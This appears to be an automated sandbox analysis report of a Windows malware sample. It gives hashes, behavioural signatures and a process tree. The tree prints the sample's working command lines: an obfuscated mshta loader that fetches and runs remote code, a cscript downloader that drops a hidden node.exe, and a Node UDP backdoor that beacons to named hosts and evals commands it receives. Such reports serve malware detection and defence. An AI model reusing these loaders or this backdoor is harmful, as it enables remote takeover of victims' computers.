Analysis
-
max time kernel
149s -
max time network
145s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
20-07-2021 08:14
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210720-060205.exe
Resource
win7v20210410
General
-
Target
usfive_20210720-060205.exe
-
Size
3KB
-
MD5
463127c9a2b5eb1bca799aced10e4954
-
SHA1
df78c1cca98d6f260f744a2b0639e1fff1c11a5e
-
SHA256
863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af
-
SHA512
86c01a90941ad53e7d5c77b64c249bb0b4a69d9cc0f3e3971813464312a80ef6b06caef24cec9e9e194a25f0e667eafb445acbe9ce220830e4681312b498d9a4
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 7 3120 mshta.exe 9 3632 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 2624 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 3824 ipconfig.exe 912 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\bb0f3070a21d2944:ads node.exe File created C:\ProgramData\DNTException\node.exe:f3888300d518e68217002e980999f62c node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 2624 node.exe 2624 node.exe 2624 node.exe 2624 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 1040 tasklist.exe Token: SeIncreaseQuotaPrivilege 2904 wmic.exe Token: SeSecurityPrivilege 2904 wmic.exe Token: SeTakeOwnershipPrivilege 2904 wmic.exe Token: SeLoadDriverPrivilege 2904 wmic.exe Token: SeSystemProfilePrivilege 2904 wmic.exe Token: SeSystemtimePrivilege 2904 wmic.exe Token: SeProfSingleProcessPrivilege 2904 wmic.exe Token: SeIncBasePriorityPrivilege 2904 wmic.exe Token: SeCreatePagefilePrivilege 2904 wmic.exe Token: SeBackupPrivilege 2904 wmic.exe Token: SeRestorePrivilege 2904 wmic.exe Token: SeShutdownPrivilege 2904 wmic.exe Token: SeDebugPrivilege 2904 wmic.exe Token: SeSystemEnvironmentPrivilege 2904 wmic.exe Token: SeRemoteShutdownPrivilege 2904 wmic.exe Token: SeUndockPrivilege 2904 wmic.exe Token: SeManageVolumePrivilege 2904 wmic.exe Token: 33 2904 wmic.exe Token: 34 2904 wmic.exe Token: 35 2904 wmic.exe Token: 36 2904 wmic.exe Token: SeIncreaseQuotaPrivilege 2904 wmic.exe Token: SeSecurityPrivilege 2904 wmic.exe Token: SeTakeOwnershipPrivilege 2904 wmic.exe Token: SeLoadDriverPrivilege 2904 wmic.exe Token: SeSystemProfilePrivilege 2904 wmic.exe Token: SeSystemtimePrivilege 2904 wmic.exe Token: SeProfSingleProcessPrivilege 2904 wmic.exe Token: SeIncBasePriorityPrivilege 2904 wmic.exe Token: SeCreatePagefilePrivilege 2904 wmic.exe Token: SeBackupPrivilege 2904 wmic.exe Token: SeRestorePrivilege 2904 wmic.exe Token: SeShutdownPrivilege 2904 wmic.exe Token: SeDebugPrivilege 2904 wmic.exe Token: SeSystemEnvironmentPrivilege 2904 wmic.exe Token: SeRemoteShutdownPrivilege 2904 wmic.exe Token: SeUndockPrivilege 2904 wmic.exe Token: SeManageVolumePrivilege 2904 wmic.exe Token: 33 2904 wmic.exe Token: 34 2904 wmic.exe Token: 35 2904 wmic.exe Token: 36 2904 wmic.exe Token: SeDebugPrivilege 912 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
usfive_20210720-060205.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 1968 wrote to memory of 3120 1968 usfive_20210720-060205.exe mshta.exe PID 1968 wrote to memory of 3120 1968 usfive_20210720-060205.exe mshta.exe PID 1968 wrote to memory of 3120 1968 usfive_20210720-060205.exe mshta.exe PID 3120 wrote to memory of 2628 3120 mshta.exe cmd.exe PID 3120 wrote to memory of 2628 3120 mshta.exe cmd.exe PID 3120 wrote to memory of 2628 3120 mshta.exe cmd.exe PID 2628 wrote to memory of 3632 2628 cmd.exe cscript.exe PID 2628 wrote to memory of 3632 2628 cmd.exe cscript.exe PID 2628 wrote to memory of 3632 2628 cmd.exe cscript.exe PID 2628 wrote to memory of 1040 2628 cmd.exe expand.exe PID 2628 wrote to memory of 1040 2628 cmd.exe expand.exe PID 2628 wrote to memory of 1040 2628 cmd.exe expand.exe PID 2628 wrote to memory of 3948 2628 cmd.exe cscript.exe PID 2628 wrote to memory of 3948 2628 cmd.exe cscript.exe PID 2628 wrote to memory of 3948 2628 cmd.exe cscript.exe PID 3948 wrote to memory of 2624 3948 cscript.exe node.exe PID 3948 wrote to memory of 2624 3948 cscript.exe node.exe PID 3948 wrote to memory of 2624 3948 cscript.exe node.exe PID 2624 wrote to memory of 2356 2624 node.exe cmd.exe PID 2624 wrote to memory of 2356 2624 node.exe cmd.exe PID 2624 wrote to memory of 2356 2624 node.exe cmd.exe PID 2624 wrote to memory of 412 2624 node.exe cacls.exe PID 2624 wrote to memory of 412 2624 node.exe cacls.exe PID 2624 wrote to memory of 412 2624 node.exe cacls.exe PID 2624 wrote to memory of 4024 2624 node.exe icacls.exe PID 2624 wrote to memory of 4024 2624 node.exe icacls.exe PID 2624 wrote to memory of 4024 2624 node.exe icacls.exe PID 2624 wrote to memory of 3624 2624 node.exe attrib.exe PID 2624 wrote to memory of 3624 2624 node.exe attrib.exe PID 2624 wrote to memory of 3624 2624 node.exe attrib.exe PID 2624 wrote to memory of 2384 2624 node.exe attrib.exe PID 2624 wrote to memory of 2384 2624 node.exe attrib.exe PID 2624 wrote to memory of 2384 2624 node.exe attrib.exe PID 2624 wrote to memory of 1040 2624 node.exe tasklist.exe PID 2624 wrote to memory of 1040 2624 node.exe tasklist.exe PID 2624 wrote to memory of 1040 2624 node.exe tasklist.exe PID 2624 wrote to memory of 2904 2624 node.exe wmic.exe PID 2624 wrote to memory of 2904 2624 node.exe wmic.exe PID 2624 wrote to memory of 2904 2624 node.exe wmic.exe PID 2624 wrote to memory of 3824 2624 node.exe ipconfig.exe PID 2624 wrote to memory of 3824 2624 node.exe ipconfig.exe PID 2624 wrote to memory of 3824 2624 node.exe ipconfig.exe PID 2624 wrote to memory of 1816 2624 node.exe route.exe PID 2624 wrote to memory of 1816 2624 node.exe route.exe PID 2624 wrote to memory of 1816 2624 node.exe route.exe PID 2624 wrote to memory of 912 2624 node.exe netstat.exe PID 2624 wrote to memory of 912 2624 node.exe netstat.exe PID 2624 wrote to memory of 912 2624 node.exe netstat.exe PID 2624 wrote to memory of 2096 2624 node.exe systeminfo.exe PID 2624 wrote to memory of 2096 2624 node.exe systeminfo.exe PID 2624 wrote to memory of 2096 2624 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 3624 attrib.exe 2384 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();0;y=unescape('%318%36%7E%68t%74p%3A%2F%2Fa%73u%302%2Es%68o%70%2F%68r%69%2F%3F2%31a%36e%34b%7E1%304').split('~');182;try{x='WinHttp';5;x=new ActiveXObject(x+'.'+x+'Request.5.1');141;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);238;x.send();115;y='ipt.S';143;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);27;}catch(e){};167;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626768848309.txt & cscript /nologo /e:jscript get1626768848309.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2a5ff79dd%26b%3Db240c05e" node.cab & expand node.cab node.exe & del get1626768848309.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626768848309.txt & cscript /nologo /e:jscript get1626768848309.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a5ff79dd%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626768848309.txt3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768848309.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2a5ff79dd%26b%3Db240c05e" node.cab4⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768848309.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a5ff79dd%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a5ff79dd%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
-
C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
-
C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
-
C:\Windows\SysWOW64\route.exeroute.exe print6⤵
-
C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\DNTException\get1626768848309.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
-
C:\ProgramData\DNTException\get1626768848309.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
-
C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
memory/412-132-0x0000000000000000-mapping.dmp
-
memory/912-140-0x0000000000000000-mapping.dmp
-
memory/1040-118-0x0000000000000000-mapping.dmp
-
memory/1040-136-0x0000000000000000-mapping.dmp
-
memory/1816-139-0x0000000000000000-mapping.dmp
-
memory/2096-141-0x0000000000000000-mapping.dmp
-
memory/2356-131-0x0000000000000000-mapping.dmp
-
memory/2384-135-0x0000000000000000-mapping.dmp
-
memory/2624-123-0x0000000000000000-mapping.dmp
-
memory/2624-126-0x000000001D400000-0x000000001D401000-memory.dmpFilesize
4KB
-
memory/2624-128-0x0000000015700000-0x0000000015701000-memory.dmpFilesize
4KB
-
memory/2624-130-0x0000000006F00000-0x0000000006F01000-memory.dmpFilesize
4KB
-
memory/2624-127-0x0000000007900000-0x0000000007901000-memory.dmpFilesize
4KB
-
memory/2624-125-0x000000003ED00000-0x000000003ED01000-memory.dmpFilesize
4KB
-
memory/2624-129-0x000000000D100000-0x000000000D101000-memory.dmpFilesize
4KB
-
memory/2628-115-0x0000000000000000-mapping.dmp
-
memory/2904-137-0x0000000000000000-mapping.dmp
-
memory/3120-114-0x0000000000000000-mapping.dmp
-
memory/3624-134-0x0000000000000000-mapping.dmp
-
memory/3632-116-0x0000000000000000-mapping.dmp
-
memory/3824-138-0x0000000000000000-mapping.dmp
-
memory/3948-120-0x0000000000000000-mapping.dmp
-
memory/4024-133-0x0000000000000000-mapping.dmp